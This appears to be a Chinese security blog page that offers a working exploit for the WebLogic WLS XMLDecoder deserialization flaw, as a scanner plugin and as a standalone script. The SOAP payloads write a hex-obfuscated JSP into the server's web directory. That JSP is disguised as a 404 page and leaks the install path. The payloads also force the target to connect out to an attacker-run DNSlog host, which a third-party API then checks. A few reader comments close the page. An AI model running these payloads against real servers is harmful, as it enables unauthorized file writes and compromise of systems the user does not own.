        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#xa;&#x3c;&#x21;&#x44;&#x4f;&#x43;&#x54;&#x59;&#x50;&#x45;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x50;&#x55;&#x42;&#x4c;&#x49;&#x43;&#x20;&#x22;&#x2d;&#x2f;&#x2f;&#x57;&#x33;&#x43;&#x2f;&#x2f;&#x44;&#x54;&#x44;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x34;&#x2e;&#x30;&#x20;&#x44;&#x72;&#x61;&#x66;&#x74;&#x2f;&#x2f;&#x45;&#x4e;&#x22;&#x3e;&#xa;&#x3c;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#xa;&#x3c;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x42;&#x4f;&#x44;&#x59;&#x20;&#x62;&#x67;&#x63;&#x6f;&#x6c;&#x6f;&#x72;&#x3d;&#x22;&#x77;&#x68;&#x69;&#x74;&#x65;&#x22;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x73;&#x70;&#x61;&#x63;&#x69;&#x6e;&#x67;&#x3d;&#x35;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x22;&#x62;&#x6c;&#x61;&#x63;&#x6b;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x32;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x32;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x77;&#x69;&#x64;&#x74;&#x68;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x70;&#x61;&#x64;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x31;&#x30;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x20;&#x56;&#x41;&#x4c;&#x49;&#x47;&#x4e;&#x3d;&#x74;&#x6f;&#x70;&#x20;&#x57;&#x49;&#x44;&#x54;&#x48;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x42;&#x47;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x77;&#x68;&#x69;&#x74;&#x65;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x33;&#x3e;&#x46;&#x72;&#x6f;&#x6d;&#x20;&#x52;&#x46;&#x43;&#x20;&#x32;&#x30;&#x36;&#x38;&#x20;&#x3c;&#x69;&#x3e;&#x48;&#x79;&#x70;&#x65;&#x72;&#x74;&#x65;&#x78;&#x74;&#x20;&#x54;&#x72;&#x61;&#x6e;&#x73;&#x66;&#x65;&#x72;&#x20;&#x50;&#x72;&#x6f;&#x74;&#x6f;&#x63;&#x6f;&#x6c;&#x20;&#x2d;&#x2d;&#x20;&#x48;&#x54;&#x54;&#x50;&#x2f;&#x31;&#x2e;&#x31;&#x3c;&#x2f;&#x69;&#x3e;&#x3a;&#x3c;&#x2f;&#x48;&#x33;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x34;&#x3e;&#x31;&#x30;&#x2e;&#x34;&#x2e;&#x35;&#x20;&#x34;&#x30;&#x34;&#x20;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x34;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x50;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x54;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x66;&#x6f;&#x75;&#x6e;&#x64;&#x20;&#x61;&#x6e;&#x79;&#x74;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x74;&#x68;&#x65;&#x20;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2d;&#x55;&#x52;&#x49;&#x2e;&#x20;&#x4e;&#x6f;&#x20;&#x69;&#x6e;&#x64;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x67;&#x69;&#x76;&#x65;&#x6e;&#x20;&#x6f;&#x66;&#x20;&#x77;&#x68;&#x65;&#x74;&#x68;&#x65;&#x72;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6f;&#x6e;&#x64;&#x69;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x74;&#x65;&#x6d;&#x70;&#x6f;&#x72;&#x61;&#x72;&#x79;&#x20;&#x6f;&#x72;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x2e;&#x3c;&#x2f;&#x70;&#x3e;&#x3c;&#x70;&#x3e;&#x49;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x64;&#x6f;&#x65;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x77;&#x69;&#x73;&#x68;&#x20;&#x74;&#x6f;&#x20;&#x6d;&#x61;&#x6b;&#x65;&#x20;&#x74;&#x68;&#x69;&#x73;&#x20;&#x69;&#x6e;&#x66;&#x6f;&#x72;&#x6d;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x74;&#x6f;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6c;&#x69;&#x65;&#x6e;&#x74;&#x2c;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x34;&#x30;&#x33;&#x20;&#x28;&#x46;&#x6f;&#x72;&#x62;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x29;&#x20;&#x63;&#x61;&#x6e;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x6e;&#x73;&#x74;&#x65;&#x61;&#x64;&#x2e;&#x20;&#x54;&#x68;&#x65;&#x20;&#x34;&#x31;&#x30;&#x20;&#x28;&#x47;&#x6f;&#x6e;&#x65;&#x29;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x20;&#x69;&#x64;&#x3d;&#x22;&#x63;&#x39;&#x39;&#x34;&#x38;&#x32;&#x65;&#x37;&#x32;&#x39;&#x35;&#x66;&#x32;&#x31;&#x39;&#x64;&#x34;&#x64;&#x32;&#x62;&#x62;&#x31;&#x66;&#x65;&#x39;&#x33;&#x39;&#x63;&#x39;&#x65;&#x63;&#x35;&#x22;&#x3e;&#x53;&#x48;&#x4f;&#x55;&#x4c;&#x44;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x6b;&#x6e;&#x6f;&#x77;&#x73;&#x2c;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x75;&#x67;&#x68;&#x20;&#x73;&#x6f;&#x6d;&#x65;&#x20;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x6c;&#x79;&#x20;&#x63;&#x6f;&#x6e;&#x66;&#x69;&#x67;&#x75;&#x72;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6d;&#x65;&#x63;&#x68;&#x61;&#x6e;&#x69;&#x73;&#x6d;&#x2c;&#x20;&#x74;&#x68;&#x61;&#x74;&#x20;&#x61;&#x6e;&#x20;&#x6f;&#x6c;&#x64;&#x20;&#x72;&#x65;&#x73;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x20;&#x69;&#x73;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x6c;&#x79;&#x20;&#x75;&#x6e;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x61;&#x6e;&#x64;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x20;&#x66;&#x6f;&#x72;&#x77;&#x61;&#x72;&#x64;&#x69;&#x6e;&#x67;&#x20;&#x61;&#x64;&#x64;&#x72;&#x65;&#x73;&#x73;&#x2e;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x50;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#xa;&#x3c;&#x2f;&#x42;&#x4f;&#x44;&#x59;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
        try:
            response = requests.post(exp_url, data=payload.replace('bb1fe939c9ec5',random_file),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        if response.status_code == 404:
            return

        nurl = self.option.url+'/bea_wls_internal/bb1fe939c9ec5.jsp'
        self.print_debug(nurl.replace('bb1fe939c9ec5',random_file))
        try:
            rep = requests.get(nurl.replace('bb1fe939c9ec5',random_file),headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if rep.status_code == 404 and 'c99482e7295f219d4d2bb1fe939c9ec5' in rep.content:
                path = re.findall(r'value="(.*?) id="',rep.content)
                if path:
                    self.print_debug(path)
                    self.result.status = True
                    self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞,\n服务器的路径是{path},\n测试的payload为: \n{payload}".format(
                        url=exp_url,
                        path = path[0],
                        payload = payload.replace('bb1fe939c9ec5',random_file)
                    )
        except Exception as e:
            self.result.error = str(e)
            return

    def verify(self):
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        newurlparse = urlparse(self.option.url)
        host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))
        self.print_debug(host)
        try:
            resp = requests.get(exp_url,headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if resp.status_code == 404:
                return
        except Exception as e:
            self.result.error = str(e)
            return
        self.print_debug(payload.format(host=host))
        try:
            response = requests.post(exp_url, data=payload.format(host=host),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        time.sleep(3)
        try:
            verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=dnslog&domain={host}"
            self.print_debug(verify_url.format(host=host))
            verify_rep = requests.get(verify_url.format(host=host),timeout=60, verify=False,allow_redirects = False)
            if verify_rep.content.find(host)!=-1:
                self.result.status = True
                self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞, 测试的payload为: \n{payload}".format(
                    url=exp_url,
                    payload = payload.format(host=host)
                )
            else:
                self.verify_shell()
        except Exception as e:
            self.result.error = str(e)
            return
        finally:
            clearurl = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=clearlog&domain={host}"
            self.print_debug(clearurl.format(host=host))
            requests.get(clearurl.format(host=host),timeout=60, verify=False,allow_redirects = False)

    def exploit(self):
        self.verify()

附上自用检测脚本

# -*- coding: utf-8 -*-
import re
import requests
from urlparse import urlparse
from random import randint

headers={
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Cookie':'wp-settings-time-1=1506773666',
    'SOAPAction': "",
    'Content-Type':"text/xml"
    }
def check_shell(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x70;&#x61;&#x74;&#x68;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
    try:
        response = requests.post(exp_url, data=payload,headers=headers, timeout=60, verify=False,allow_redirects = False)
        if response.status_code == 404:
            return
        shell_url = ("{domain}/bea_wls_internal/bb1fe939c9ec5.jsp".format(domain=domain))
        rep = requests.get(shell_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if rep.status_code==404 and "path=" in rep.content:
            get_path = re.findall(r'path="(.*?)"',rep.content)
            if len(get_path)>0:
                print domain+"\tsuccess\t"+get_path[0]
    except Exception as e:
        print str(e)
        return False

def check_dnslog(host):
    verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action={action}&domain={host}"
    try:
        verify_rep = requests.get(verify_url.format(host=host,action='dnslog'),timeout=60, verify=False,allow_redirects = False)
        if verify_rep.content.find(host)!=-1:
            return True
    except Exception as e:
        return False
    finally:
        requests.get(verify_url.format(host=host,action='clearlog'),timeout=60, verify=False,allow_redirects = False)

def verify(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    newurlparse = urlparse(domain)
    host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))

    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
    try:
        resp = requests.get(exp_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if resp.status_code == 404:
            return
        response = requests.post(exp_url, data=payload.format(host=host),headers=headers, timeout=60, verify=False,allow_redirects = False)
    except Exception as e:
        print str(e)
        return
    if check_dnslog(host):
        print domain+"\tsuccess"
    else:
        check_shell(domain)

def main(host):
    if host.startswith('http'):
        domain = host
    else:
        domain = "http://"+domain
    verify(domain.strip('/'))

if __name__ == "__main__":
    import sys
    if len(sys.argv)>=2:
        main(sys.argv[1])
    else:
        print "python %s http://www.baidu.com" % (sys.argv[0])
分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...